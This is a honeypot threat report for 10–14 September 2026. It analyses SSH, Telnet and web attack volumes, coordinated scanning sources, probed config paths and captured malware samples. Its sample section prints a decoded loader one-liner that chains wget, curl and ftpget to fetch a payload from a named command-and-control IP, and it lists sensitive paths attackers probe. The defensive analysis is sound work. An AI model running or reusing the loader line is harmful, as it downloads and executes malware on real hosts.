HONEYPOT REPORT  //  2026-09-10 – 2026-09-14

2026-09-10 – 2026-09-14 — SSH, Telnet + Web Honeypot Report

SSH and telnet volume by day

Executive summary

The highest-volume period of the span at 73,422 sessions, and the distribution is the interesting part. The top four sources — 217.60.255.130, 103.60.204.198, 103.195.81.146, 103.82.210.181 — opened 6,316, 6,232, 6,136 and 5,370 sessions respectively. Four unrelated netblocks across two continents, within 15% of each other.

That is the same quota-scheduler signature observed since July, at a larger per-worker allocation. The July figure was 773 sessions per host; the August figure was 785; this period runs above 5,000. The pattern held while the value grew roughly sevenfold.

The probed path list changed too. Alongside the familiar .env variants sit /.env.staging, /.env.php and /wp-config.php.bak — and /aZ9xQ7kL3m, a random string requested 162 times. That last one is a control probe: a path that cannot exist, used to see whether the server returns 404 honestly or answers everything. A honeypot that served content for it would be identified immediately.

The recurring Tor-exit public key d4:98:c4:f3… was last offered on September 17, from 152.53.157.69. It has now appeared from ten distinct exit nodes since July — nearly three months of someone periodically checking whether that key opens this host.

Notable sessions

Sample inventory

159 unique payload samples were captured across the full Aug 21 – Sep 18 archive, and none of them had been seen on this sensor before. The architecture spread is unchanged — x86-64 dominant, with ARM, MIPS both-endian, and a RISC-V build present — but the binaries themselves turn over completely.

One loader is worth noting for its obfuscation. A 608-byte file contains nothing but hex escapes; decoded, it is a single line:

S=185.106.92.100; (wget http://$S/p -O-||curl http://$S/p||ftpget $S - p||
 busybox wget http://$S/p -O-||busybox curl http://$S/p||busybox ftpget $S - p)

Six retrieval methods chained with || so that any one succeeding stops the chain. The hex encoding defeats naive string matching on the C2 address while adding nothing to execution cost.

Indicators

Busiest shell sources

Payload URLs

Most attempted credentials

Web sensor — most probed paths

Payload hashes

MITRE ATT&CK mapping